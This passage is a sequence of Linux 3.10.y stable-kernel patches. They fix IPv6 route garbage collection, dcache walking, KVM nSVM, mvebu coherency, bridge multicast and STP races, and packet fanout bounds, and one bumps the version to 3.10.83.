between spin_lock_bh() and spin_trylock_bh() and call fib6_run_gc() with force=false if gc_thresh is reached but not max_size. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Cc: Konstantin Khlebnikov Signed-off-by: Greg Kroah-Hartman --- include/net/ip6_fib.h | 2 +- net/ipv6/ip6_fib.c | 19 ++++++++----------- net/ipv6/ndisc.c | 4 ++-- net/ipv6/route.c | 4 ++-- 4 files changed, 13 insertions(+), 16 deletions(-) diff --git a/include/net/ip6_fib.h b/include/net/ip6_fib.h index 665e0cee59bd..5e661a979694 100644 --- a/include/net/ip6_fib.h +++ b/include/net/ip6_fib.h @@ -301,7 +301,7 @@ extern void inet6_rt_notify(int event, struct rt6_info *rt, struct nl_info *info); extern void fib6_run_gc(unsigned long expires, - struct net *net); + struct net *net, bool force); extern void fib6_gc_cleanup(void); diff --git a/net/ipv6/ip6_fib.c b/net/ipv6/ip6_fib.c index ceeb9458bb60..0b5e9086322d 100644 --- a/net/ipv6/ip6_fib.c +++ b/net/ipv6/ip6_fib.c @@ -1648,19 +1648,16 @@ static int fib6_age(struct rt6_info *rt, void *arg) static DEFINE_SPINLOCK(fib6_gc_lock); -void fib6_run_gc(unsigned long expires, struct net *net) +void fib6_run_gc(unsigned long expires, struct net *net, bool force) { - if (expires != ~0UL) { + if (force) { spin_lock_bh(&fib6_gc_lock); - gc_args.timeout = expires ? (int)expires : - net->ipv6.sysctl.ip6_rt_gc_interval; - } else { - if (!spin_trylock_bh(&fib6_gc_lock)) { - mod_timer(&net->ipv6.ip6_fib_timer, jiffies + HZ); - return; - } - gc_args.timeout = net->ipv6.sysctl.ip6_rt_gc_interval; + } else if (!spin_trylock_bh(&fib6_gc_lock)) { + mod_timer(&net->ipv6.ip6_fib_timer, jiffies + HZ); + return; } + gc_args.timeout = expires ? (int)expires : + net->ipv6.sysctl.ip6_rt_gc_interval; gc_args.more = icmp6_dst_gc(); @@ -1677,7 +1674,7 @@ void fib6_run_gc(unsigned long expires, struct net *net) static void fib6_gc_timer_cb(unsigned long arg) { - fib6_run_gc(0, (struct net *)arg); + fib6_run_gc(0, (struct net *)arg, true); } static int __net_init fib6_net_init(struct net *net) diff --git a/net/ipv6/ndisc.c b/net/ipv6/ndisc.c index 05f361338c2e..deedf7ddbc6e 100644 --- a/net/ipv6/ndisc.c +++ b/net/ipv6/ndisc.c @@ -1584,7 +1584,7 @@ static int ndisc_netdev_event(struct notifier_block *this, unsigned long event, switch (event) { case NETDEV_CHANGEADDR: neigh_changeaddr(&nd_tbl, dev); - fib6_run_gc(~0UL, net); + fib6_run_gc(0, net, false); idev = in6_dev_get(dev); if (!idev) break; @@ -1594,7 +1594,7 @@ static int ndisc_netdev_event(struct notifier_block *this, unsigned long event, break; case NETDEV_DOWN: neigh_ifdown(&nd_tbl, dev); - fib6_run_gc(~0UL, net); + fib6_run_gc(0, net, false); break; case NETDEV_NOTIFY_PEERS: ndisc_send_unsol_na(dev); diff --git a/net/ipv6/route.c b/net/ipv6/route.c index d94d224f7e68..bd83c90f970c 100644 --- a/net/ipv6/route.c +++ b/net/ipv6/route.c @@ -1349,7 +1349,7 @@ static int ip6_dst_gc(struct dst_ops *ops) goto out; net->ipv6.ip6_rt_gc_expire++; - fib6_run_gc(net->ipv6.ip6_rt_gc_expire, net); + fib6_run_gc(net->ipv6.ip6_rt_gc_expire, net, entries > rt_max_size); net->ipv6.ip6_rt_last_gc = now; entries = dst_entries_get_slow(ops); if (entries < ops->gc_thresh) @@ -2849,7 +2849,7 @@ int ipv6_sysctl_rtcache_flush(ctl_table *ctl, int write, net = (struct net *)ctl->extra1; delay = net->ipv6.sysctl.flush_delay; proc_dointvec(ctl, write, buffer, lenp, ppos); - fib6_run_gc(delay <= 0 ? ~0UL : (unsigned long)delay, net); + fib6_run_gc(delay <= 0 ? 0 : (unsigned long)delay, net, delay > 0); return 0; } -- cgit v1.2.3 From c1e1eb159efadf28f0da0de550d696abdb30aefc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Michal=20Kube=C4=8Dek?= Date: Thu, 1 Aug 2013 10:04:24 +0200 Subject: ipv6: update ip6_rt_last_gc every time GC is run commit 49a18d86f66d33a20144ecb5a34bba0d1856b260 upstream. As pointed out by Eric Dumazet, net->ipv6.ip6_rt_last_gc should hold the last time garbage collector was run so that we should update it whenever fib6_run_gc() calls fib6_clean_all(), not only if we got there from ip6_dst_gc(). Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Cc: Konstantin Khlebnikov Signed-off-by: Greg Kroah-Hartman --- net/ipv6/ip6_fib.c | 6 +++++- net/ipv6/route.c | 4 +--- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/net/ipv6/ip6_fib.c b/net/ipv6/ip6_fib.c index 0b5e9086322d..46458ee31939 100644 --- a/net/ipv6/ip6_fib.c +++ b/net/ipv6/ip6_fib.c @@ -1650,6 +1650,8 @@ static DEFINE_SPINLOCK(fib6_gc_lock); void fib6_run_gc(unsigned long expires, struct net *net, bool force) { + unsigned long now; + if (force) { spin_lock_bh(&fib6_gc_lock); } else if (!spin_trylock_bh(&fib6_gc_lock)) { @@ -1662,10 +1664,12 @@ void fib6_run_gc(unsigned long expires, struct net *net, bool force) gc_args.more = icmp6_dst_gc(); fib6_clean_all(net, fib6_age, 0, NULL); + now = jiffies; + net->ipv6.ip6_rt_last_gc = now; if (gc_args.more) mod_timer(&net->ipv6.ip6_fib_timer, - round_jiffies(jiffies + round_jiffies(now + net->ipv6.sysctl.ip6_rt_gc_interval)); else del_timer(&net->ipv6.ip6_fib_timer); diff --git a/net/ipv6/route.c b/net/ipv6/route.c index bd83c90f970c..6ebefd46f718 100644 --- a/net/ipv6/route.c +++ b/net/ipv6/route.c @@ -1334,7 +1334,6 @@ static void icmp6_clean_all(int (*func)(struct rt6_info *rt, void *arg), static int ip6_dst_gc(struct dst_ops *ops) { - unsigned long now = jiffies; struct net *net = container_of(ops, struct net, ipv6.ip6_dst_ops); int rt_min_interval = net->ipv6.sysctl.ip6_rt_gc_min_interval; int rt_max_size = net->ipv6.sysctl.ip6_rt_max_size; @@ -1344,13 +1343,12 @@ static int ip6_dst_gc(struct dst_ops *ops) int entries; entries = dst_entries_get_fast(ops); - if (time_after(rt_last_gc + rt_min_interval, now) && + if (time_after(rt_last_gc + rt_min_interval, jiffies) && entries <= rt_max_size) goto out; net->ipv6.ip6_rt_gc_expire++; fib6_run_gc(net->ipv6.ip6_rt_gc_expire, net, entries > rt_max_size); - net->ipv6.ip6_rt_last_gc = now; entries = dst_entries_get_slow(ops); if (entries < ops->gc_thresh) net->ipv6.ip6_rt_gc_expire = rt_gc_timeout>>1; -- cgit v1.2.3 From b93e0acc5001b80153cb0c7efcdcc53cc56aac4a Mon Sep 17 00:00:00 2001 From: Jari Ruusu Date: Sat, 13 Jun 2015 19:01:31 +0300 Subject: d_walk() might skip too much When Al Viro's VFS deadlock fix "deal with deadlock in d_walk()" was backported to 3.10.y 3.4.y and 3.2.y stable kernel brances, the deadlock fix was copied to 3 different places. Later, a bug in that code was discovered. Al Viro's fix involved fixing only one part of code in mainline kernel. That fix is called "d_walk() might skip too much". 3.10.y 3.4.y and 3.2.y stable kernel brances need that later fix copied to 3 different places. Greg Kroah-Hartman included Al Viro's "d_walk() might skip too much" fix only once in 3.10.80 kernel, leaving 2 more places without a fix. The patch below was not written by me. I only applied Al Viro's "d_walk() might skip too much" fix 2 more times to 3.10.80 kernel, and cheched that the fixes went to correct places. With this patch applied, all 3 places that I am aware of 3.10.y stable branch are now fixed. Signed-off-by: Jari Ruusu Cc: Willy Tarreau Signed-off-by: Greg Kroah-Hartman --- fs/dcache.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/fs/dcache.c b/fs/dcache.c index e2800926ae05..38c4a302fab4 100644 --- a/fs/dcache.c +++ b/fs/dcache.c @@ -1053,13 +1053,13 @@ ascend: /* might go back up the wrong parent if we have had a rename. */ if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; - next = child->d_child.next; - while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { + /* go into the first sibling still alive */ + do { + next = child->d_child.next; if (next == &this_parent->d_subdirs) goto ascend; child = list_entry(next, struct dentry, d_child); - next = next->next; - } + } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); rcu_read_unlock(); goto resume; } @@ -2977,13 +2977,13 @@ ascend: /* might go back up the wrong parent if we have had a rename. */ if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; - next = child->d_child.next; - while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)) { + /* go into the first sibling still alive */ + do { + next = child->d_child.next; if (next == &this_parent->d_subdirs) goto ascend; child = list_entry(next, struct dentry, d_child); - next = next->next; - } + } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); rcu_read_unlock(); goto resume; } -- cgit v1.2.3 From 4cae4bbc1a8f5258a986801d72678752f9075a64 Mon Sep 17 00:00:00 2001 From: Sebastien Szymanski Date: Wed, 20 May 2015 16:30:37 +0200 Subject: ARM: clk-imx6q: refine sata's parent commit da946aeaeadcd24ff0cda9984c6fb8ed2bfd462a upstream. According to IMX6D/Q RM, table 18-3, sata clock's parent is ahb, not ipg. Signed-off-by: Sebastien Szymanski Reviewed-by: Fabio Estevam Signed-off-by: Shawn Guo [dirk.behme: Adjust moved file] Signed-off-by: Dirk Behme Signed-off-by: Greg Kroah-Hartman --- arch/arm/mach-imx/clk-imx6q.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/mach-imx/clk-imx6q.c b/arch/arm/mach-imx/clk-imx6q.c index 2acaded8025d..ed00c9e3bfc6 100644 --- a/arch/arm/mach-imx/clk-imx6q.c +++ b/arch/arm/mach-imx/clk-imx6q.c @@ -515,7 +515,7 @@ int __init mx6q_clocks_init(void) clk[gpmi_io] = imx_clk_gate2("gpmi_io", "enfc", base + 0x78, 28); clk[gpmi_apb] = imx_clk_gate2("gpmi_apb", "usdhc3", base + 0x78, 30); clk[rom] = imx_clk_gate2("rom", "ahb", base + 0x7c, 0); - clk[sata] = imx_clk_gate2("sata", "ipg", base + 0x7c, 4); + clk[sata] = imx_clk_gate2("sata", "ahb", base + 0x7c, 4); clk[sdma] = imx_clk_gate2("sdma", "ahb", base + 0x7c, 6); clk[spba] = imx_clk_gate2("spba", "ipg", base + 0x7c, 12); clk[ssi1_ipg] = imx_clk_gate2("ssi1_ipg", "ipg", base + 0x7c, 18); -- cgit v1.2.3 From ea0d66be1c27f55825a80d01ad1ff72f6e005c29 Mon Sep 17 00:00:00 2001 From: Bandan Das Date: Thu, 11 Jun 2015 02:05:33 -0400 Subject: KVM: nSVM: Check for NRIPS support before updating control field commit f104765b4f81fd74d69e0eb161e89096deade2db upstream. If hardware doesn't support DecodeAssist - a feature that provides more information about the intercept in the VMCB, KVM decodes the instruction and then updates the next_rip vmcb control field. However, NRIP support itself depends on cpuid Fn8000_000A_EDX[NRIPS]. Since skip_emulated_instruction() doesn't verify nrip support before accepting control.next_rip as valid, avoid writing this field if support isn't present. Signed-off-by: Bandan Das Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman --- arch/x86/kvm/svm.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/arch/x86/kvm/svm.c b/arch/x86/kvm/svm.c index 8bf40a243d75..224d2ef754cc 100644 --- a/arch/x86/kvm/svm.c +++ b/arch/x86/kvm/svm.c @@ -495,8 +495,10 @@ static void skip_emulated_instruction(struct kvm_vcpu *vcpu) { struct vcpu_svm *svm = to_svm(vcpu); - if (svm->vmcb->control.next_rip != 0) + if (svm->vmcb->control.next_rip != 0) { + WARN_ON(!static_cpu_has(X86_FEATURE_NRIPS)); svm->next_rip = svm->vmcb->control.next_rip; + } if (!svm->next_rip) { if (emulate_instruction(vcpu, EMULTYPE_SKIP) != @@ -4229,7 +4231,9 @@ static int svm_check_intercept(struct kvm_vcpu *vcpu, break; } - vmcb->control.next_rip = info->next_rip; + /* TODO: Advertise NRIPS to guest hypervisor unconditionally */ + if (static_cpu_has(X86_FEATURE_NRIPS)) + vmcb->control.next_rip = info->next_rip; vmcb->control.exit_code = icpt_info.exit_code; vmexit = nested_svm_exit_handled(svm); -- cgit v1.2.3 From 2667677fb84b4b92e31573f2f2ffaec7a8772747 Mon Sep 17 00:00:00 2001 From: Greg Ungerer Date: Mon, 14 Apr 2014 15:47:01 +0200 Subject: bus: mvebu: pass the coherency availability information at init time commit 5686a1e5aa436c49187a60052d5885fb1f541ce6 upstream. Until now, the mvebu-mbus was guessing by itself whether hardware I/O coherency was available or not by poking into the Device Tree to see if the coherency fabric Device Tree node was present or not. However, on some upcoming SoCs, the presence or absence of the coherency fabric DT node isn't sufficient: in CONFIG_SMP, the coherency can be enabled, but not in !CONFIG_SMP. In order to clean this up, the mvebu_mbus_dt_init() function is extended to get a boolean argument telling whether coherency is enabled or not. Therefore, the logic to decide whether coherency is available or not now belongs to the core SoC code instead of the mvebu-mbus driver itself, which is much better. Signed-off-by: Thomas Petazzoni Link: https://lkml.kernel.org/r/1397483228-25625-4-git-send-email-thomas.petazzoni@free-electrons.com Signed-off-by: Jason Cooper [ Greg Ungerer: back ported to linux-3.10.y Back port necessary due to large code differences in affected files. This change in combination with commit e553554536 ("ARM: mvebu: disable I/O coherency on non-SMP situations on Armada 370/375/38x/XP") is critical to the hardware I/O coherency being set correctly by both the mbus driver and all peripheral hardware drivers. Without this change drivers will incorrectly enable I/O coherency window attributes and this causes rare unreliable system behavior including oops. ] Signed-off-by: Greg Ungerer Acked-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman --- arch/arm/mach-dove/common.c | 2 +- arch/arm/mach-kirkwood/common.c | 2 +- arch/arm/mach-mv78xx0/common.c | 4 ++-- arch/arm/mach-mvebu/armada-370-xp.c | 3 ++- arch/arm/mach-mvebu/coherency.c | 15 +++++++++++++++ arch/arm/mach-mvebu/coherency.h | 1 + arch/arm/mach-orion5x/common.c | 2 +- drivers/bus/mvebu-mbus.c | 5 ++--- include/linux/mbus.h | 2 +- 9 files changed, 26 insertions(+), 10 deletions(-) diff --git a/arch/arm/mach-dove/common.c b/arch/arm/mach-dove/common.c index e2b5da031f96..8d4f5dc56910 100644 --- a/arch/arm/mach-dove/common.c +++ b/arch/arm/mach-dove/common.c @@ -226,7 +226,7 @@ void __init dove_init_early(void) orion_time_set_base(TIMER_VIRT_BASE); mvebu_mbus_init("marvell,dove-mbus", BRIDGE_WINS_BASE, BRIDGE_WINS_SZ, - DOVE_MC_WINS_BASE, DOVE_MC_WINS_SZ); + DOVE_MC_WINS_BASE, DOVE_MC_WINS_SZ, 0); } static int __init dove_find_tclk(void) diff --git a/arch/arm/mach-kirkwood/common.c b/arch/arm/mach-kirkwood/common.c index f38922897563..4f6831ea88c5 100644 --- a/arch/arm/mach-kirkwood/common.c +++ b/arch/arm/mach-kirkwood/common.c @@ -530,7 +530,7 @@ void __init kirkwood_init_early(void) mvebu_mbus_init("marvell,kirkwood-mbus", BRIDGE_WINS_BASE, BRIDGE_WINS_SZ, - DDR_WINDOW_CPU_BASE, DDR_WINDOW_CPU_SZ); + DDR_WINDOW_CPU_BASE, DDR_WINDOW_CPU_SZ, 0); } int kirkwood_tclk; diff --git a/arch/arm/mach-mv78xx0/common.c b/arch/arm/mach-mv78xx0/common.c index 749a7f8c4992..4722c98dc1bb 100644 --- a/arch/arm/mach-mv78xx0/common.c +++ b/arch/arm/mach-mv78xx0/common.c @@ -337,11 +337,11 @@ void __init mv78xx0_init_early(void) if (mv78xx0_core_index() == 0) mvebu_mbus_init("marvell,mv78xx0-mbus", BRIDGE_WINS_CPU0_BASE, BRIDGE_WINS_SZ, - DDR_WINDOW_CPU0_BASE, DDR_WINDOW_CPU_SZ); + DDR_WINDOW_CPU0_BASE, DDR_WINDOW_CPU_SZ, 0); else mvebu_mbus_init("marvell,mv78xx0-mbus", BRIDGE_WINS_CPU1_BASE, BRIDGE_WINS_SZ, - DDR_WINDOW_CPU1_BASE, DDR_WINDOW_CPU_SZ); + DDR_WINDOW_CPU1_BASE, DDR_WINDOW_CPU_SZ, 0); } void __init_refok mv78xx0_timer_init(void) diff --git a/arch/arm/mach-mvebu/armada-370-xp.c b/arch/arm/mach-mvebu/armada-370-xp.c index 1c48890bb72b..4377c3484a62 100644 --- a/arch/arm/mach-mvebu/armada-370-xp.c +++ b/arch/arm/mach-mvebu/armada-370-xp.c @@ -66,7 +66,8 @@ void __init armada_370_xp_init_early(void) ARMADA_370_XP_MBUS_WINS_BASE, ARMADA_370_XP_MBUS_WINS_SIZE, ARMADA_370_XP_SDRAM_WINS_BASE, - ARMADA_370_XP_SDRAM_WINS_SIZE); + ARMADA_370_XP_SDRAM_WINS_SIZE, + coherency_available()); #ifdef CONFIG_CACHE_L2X0 l2x0_of_init(0, ~0UL); diff --git a/arch/arm/mach-mvebu/coherency.c b/arch/arm/mach-mvebu/coherency.c index 3ee701f1d38e..ea26ebb5bb5a 100644 --- a/arch/arm/mach-mvebu/coherency.c +++ b/arch/arm/mach-mvebu/coherency.c @@ -137,6 +137,20 @@ static struct notifier_block mvebu_hwcc_platform_nb = { .notifier_call = mvebu_hwcc_platform_notifier, }; +/* + * Keep track of whether we have IO hardware coherency enabled or not. + * On Armada 370's we will not be using it for example. We need to make + * that available [through coherency_available()] so the mbus controller + * doesn't enable the IO coherency bit in the attribute bits of the + * chip selects. + */ +static int coherency_enabled; + +int coherency_available(void) +{ + return coherency_enabled; +} + int __init coherency_init(void) { struct device_node *np; @@ -170,6 +184,7 @@ int __init coherency_init(void) coherency_base = of_iomap(np, 0); coherency_cpu_base = of_iomap(np, 1); set_cpu_coherent(cpu_logical_map(smp_processor_id()), 0); + coherency_enabled = 1; bus_register_notifier(&platform_bus_type, &mvebu_hwcc_platform_nb); } diff --git a/arch/arm/mach-mvebu/coherency.h b/arch/arm/mach-mvebu/coherency.h index 2f428137f6fe..1501a4e5eea0 100644 --- a/arch/arm/mach-mvebu/coherency.h +++ b/arch/arm/mach-mvebu/coherency.h @@ -19,6 +19,7 @@ int coherency_get_cpu_count(void); #endif int set_cpu_coherent(int cpu_id, int smp_group_id); +int coherency_available(void); int coherency_init(void); #endif /* __MACH_370_XP_COHERENCY_H */ diff --git a/arch/arm/mach-orion5x/common.c b/arch/arm/mach-orion5x/common.c index f8a6db9239bf..048773926ad4 100644 --- a/arch/arm/mach-orion5x/common.c +++ b/arch/arm/mach-orion5x/common.c @@ -213,7 +213,7 @@ void __init orion5x_init_early(void) mbus_soc_name = NULL; mvebu_mbus_init(mbus_soc_name, ORION5X_BRIDGE_WINS_BASE, ORION5X_BRIDGE_WINS_SZ, - ORION5X_DDR_WINS_BASE, ORION5X_DDR_WINS_SZ); + ORION5X_DDR_WINS_BASE, ORION5X_DDR_WINS_SZ, 0); } void orion5x_setup_wins(void) diff --git a/drivers/bus/mvebu-mbus.c b/drivers/bus/mvebu-mbus.c index 711dcf4a0313..7c437826c2f9 100644 --- a/drivers/bus/mvebu-mbus.c +++ b/drivers/bus/mvebu-mbus.c @@ -838,7 +838,7 @@ fs_initcall(mvebu_mbus_debugfs_init); int __init mvebu_mbus_init(const char *soc, phys_addr_t mbuswins_phys_base, size_t mbuswins_size, phys_addr_t sdramwins_phys_base, - size_t sdramwins_size) + size_t sdramwins_size, int is_coherent) { struct mvebu_mbus_state *mbus = &mbus_state; const struct of_device_id *of_id; @@ -865,8 +865,7 @@ int __init mvebu_mbus_init(const char *soc, phys_addr_t mbuswins_phys_base, return -ENOMEM; } - if (of_find_compatible_node(NULL, NULL, "marvell,coherency-fabric")) - mbus->hw_io_coherency = 1; + mbus->hw_io_coherency = is_coherent; for (win = 0; win < mbus->soc->num_wins; win++) mvebu_mbus_disable_window(mbus, win); diff --git a/include/linux/mbus.h b/include/linux/mbus.h index dba482e31a13..e80b9c7ec8da 100644 --- a/include/linux/mbus.h +++ b/include/linux/mbus.h @@ -67,6 +67,6 @@ int mvebu_mbus_add_window(const char *devname, phys_addr_t base, int mvebu_mbus_del_window(phys_addr_t base, size_t size); int mvebu_mbus_init(const char *soc, phys_addr_t mbus_phys_base, size_t mbus_size, phys_addr_t sdram_phys_base, - size_t sdram_size); + size_t sdram_size, int is_coherent); #endif /* __LINUX_MBUS_H */ -- cgit v1.2.3 From c48465423908a8955cd6de09b871161324cf5205 Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Fri, 3 Jul 2015 19:48:19 -0700 Subject: Linux 3.10.83 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 5e3e665a10b7..21529dbcc11d 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 82 +SUBLEVEL = 83 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3 From dc911b31255d65ef7e54e416bfbea810af56cf7a Mon Sep 17 00:00:00 2001 From: Sowmini Varadhan Date: Tue, 21 Apr 2015 10:30:41 -0400 Subject: sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context Upstream commit 671d773297969bebb1732e1cdc1ec03aa53c6be2 Since it is possible for vnet_event_napi to end up doing vnet_control_pkt_engine -> ... -> vnet_send_attr -> vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc() (i.e., in softirq context), kzalloc() should be called with GFP_ATOMIC from ldc_alloc_exp_dring. Signed-off-by: Sowmini Varadhan Signed-off-by: Greg Kroah-Hartman --- arch/sparc/kernel/ldc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/sparc/kernel/ldc.c b/arch/sparc/kernel/ldc.c index fa4c900a0d1f..62983d77455e 100644 --- a/arch/sparc/kernel/ldc.c +++ b/arch/sparc/kernel/ldc.c @@ -2306,7 +2306,7 @@ void *ldc_alloc_exp_dring(struct ldc_channel *lp, unsigned int len, if (len & (8UL - 1)) return ERR_PTR(-EINVAL); - buf = kzalloc(len, GFP_KERNEL); + buf = kzalloc(len, GFP_ATOMIC); if (!buf) return ERR_PTR(-ENOMEM); -- cgit v1.2.3 From 80cbc4a31be6abe812cdbd81d4b98e4d7771c7fa Mon Sep 17 00:00:00 2001 From: Nikolay Aleksandrov Date: Tue, 9 Jun 2015 10:23:57 -0700 Subject: bridge: fix multicast router rlist endless loop [ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ] Since the addition of sysfs multicast router support if one set multicast_router to "2" more than once, then the port would be added to the hlist every time and could end up linking to itself and thus causing an endless loop for rlist walkers. So to reproduce just do: echo 2 > multicast_router; echo 2 > multicast_router; in a bridge port and let some igmp traffic flow, for me it hangs up in br_multicast_flood(). Fix this by adding a check in br_multicast_add_router() if the port is already linked. The reason this didn't happen before the addition of multicast_router sysfs entries is because there's a !hlist_unhashed check that prevents it. Signed-off-by: Nikolay Aleksandrov Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries") Acked-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/bridge/br_multicast.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c index 49b4a82d3f86..a09ea178348c 100644 --- a/net/bridge/br_multicast.c +++ b/net/bridge/br_multicast.c @@ -1026,6 +1026,9 @@ static void br_multicast_add_router(struct net_bridge *br, struct net_bridge_port *p; struct hlist_node *slot = NULL; + if (!hlist_unhashed(&port->rlist)) + return; + hlist_for_each_entry(p, &br->router_list, rlist) { if ((unsigned long) port >= (unsigned long) p) break; @@ -1053,12 +1056,8 @@ static void br_multicast_mark_router(struct net_bridge *br, if (port->multicast_router != 1) return; - if (!hlist_unhashed(&port->rlist)) - goto timer; - br_multicast_add_router(br, port); -timer: mod_timer(&port->multicast_router_timer, now + br->multicast_querier_interval); } -- cgit v1.2.3 From 019b1332afd4dc4c80fa83379866d01984933694 Mon Sep 17 00:00:00 2001 From: Nikolay Aleksandrov Date: Mon, 15 Jun 2015 20:28:51 +0300 Subject: bridge: fix br_stp_set_bridge_priority race conditions [ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ] After the ->set() spinlocks were removed br_stp_set_bridge_priority was left running without any protection when used via sysfs. It can race with port add/del and could result in use-after-free cases and corrupted lists. Tested by running port add/del in a loop with stp enabled while setting priority in a loop, crashes are easily reproducible. The spinlocks around sysfs ->set() were removed in commit: 14f98f258f19 ("bridge: range check STP parameters") There's also a race condition in the netlink priority support that is fixed by this change, but it was introduced recently and the fixes tag covers it, just in case it's needed the commit is: af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink") Signed-off-by: Nikolay Aleksandrov Fixes: 14f98f258f19 ("bridge: range check STP parameters") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/bridge/br_ioctl.c | 2 -- net/bridge/br_stp_if.c | 4 +++- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c index cd8c3a44ab7d..b73eaba85667 100644 --- a/net/bridge/br_ioctl.c +++ b/net/bridge/br_ioctl.c @@ -247,9 +247,7 @@ static int old_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) if (!ns_capable(dev_net(dev)->user_ns, CAP_NET_ADMIN)) return -EPERM; - spin_lock_bh(&br->lock); br_stp_set_bridge_priority(br, args[1]); - spin_unlock_bh(&br->lock); return 0; case BRCTL_SET_PORT_PRIORITY: diff --git a/net/bridge/br_stp_if.c b/net/bridge/br_stp_if.c index 656a6f3e40de..886f6d6dc48a 100644 --- a/net/bridge/br_stp_if.c +++ b/net/bridge/br_stp_if.c @@ -241,12 +241,13 @@ bool br_stp_recalculate_bridge_id(struct net_bridge *br) return true; } -/* called under bridge lock */ +/* Acquires and releases bridge lock */ void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio) { struct net_bridge_port *p; int wasroot; + spin_lock_bh(&br->lock); wasroot = br_is_root_bridge(br); list_for_each_entry(p, &br->port_list, list) { @@ -264,6 +265,7 @@ void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio) br_port_state_selection(br); if (br_is_root_bridge(br) && !wasroot) br_become_root_bridge(br); + spin_unlock_bh(&br->lock); } /* called under bridge lock */ -- cgit v1.2.3 From 7eee92bf2e54235ab90f90d4b97b9256f51b076d Mon Sep 17 00:00:00 2001 From: Eric Dumazet Date: Tue, 16 Jun 2015 07:59:11 -0700 Subject: packet: read num_members once in packet_rcv_fanout() [ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ] We need to tell compiler it must not read f->num_members multiple times. Otherwise testing if num is not zero is flaky, and we could attempt an invalid divide by 0 in fanout_demux_cpu() Note bug was present in packet_rcv_fanout_hash() and packet_rcv_fanout_lb() but final 3.1 had a simple location after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.") Fixes: dc99f600698dc ("packet: Add fanout support.") Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/packet/af_packet.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c index 81b4b816f131..62df51d99993 100644 --- a/net/packet/af_packet.c +++ b/net/packet/af_packet.c @@ -1217,7 +1217,7 @@ static int packet_rcv_fanout(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { struct packet_fanout *f = pt->af_packet_priv; - unsigned int num = f->num_members; + unsigned int num = ACCESS_ONCE(f->num_members); struct packet_sock *po; unsigned int idx; -- cgit v1.2.3 From 4552ddd07a1f2f502243cb8d4609f1e3fad57958 Mon Sep 17 00:00:00 2001 From: Willem de Bruijn Date: Wed, 17 Jun 2015 15:59:34 -0400 Subject: packet: avoid out of bounds read in round robin fanout [ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ] PACKET_FANOUT_LB computes f->rr_cur such that it is modulo f->num_members. It returns the old value unconditionally, but f->num_members may have changed since the last store. Ensure that the return value is always < num. When modifying the logic, simplify it further by replacing the loop with an unconditional atomic increment. Fixes: dc99f600698d ("packet: Add fanout support.") Suggested-by: Eric Dumazet Signed-off-by: Willem de Bruijn Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/packet/af_packet.c | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c index 62df51d99993..39fa33969b09 100644 --- a/net/packet/af_packet.c +++ b/net/packet/af_packet.c @@ -1150,16 +1150,6 @@ static void packet_sock_destruct(struct sock *sk) sk_refcnt_debug_dec(sk); } -static int fanout_rr_next(struct packet_fanout *f, unsigned int num) -{ - int x = atomic_read(&f->rr_cur) + 1; - - if (x >= num) - x = 0; - - return x; -} - static unsigned int fanout_demux_hash(struct packet_fanout *f, struct sk_buff *skb, unsigned int num) @@ -1171,13 +1161,9 @@ static unsigned int fanout_demux_lb(struct packet_fanout *f, struct sk_buff *skb, unsigned int num) { - int cur, old; + unsigned int val = atomic_inc_return(&f->rr_cur); - cur = atomic_read(&f->rr_cur); - while ((old = atomic_cmpxchg(&f->rr_cur, cur, - fanout_rr_next(f, num))) != cur) - cur = old; - return cur; + return val % num; } static unsigned int fanout_demux_cpu(struct packet_fanout *f, -- cgit v1.2.3 From 59a460c394a771501ffcd81e68c83fa2ed91e384 Mon Sep 17 00:00:00 2001 From: Alexander Sverdlin Date: Mon, 29 Jun 2015 10:41:03 +0200 Subject: sctp: 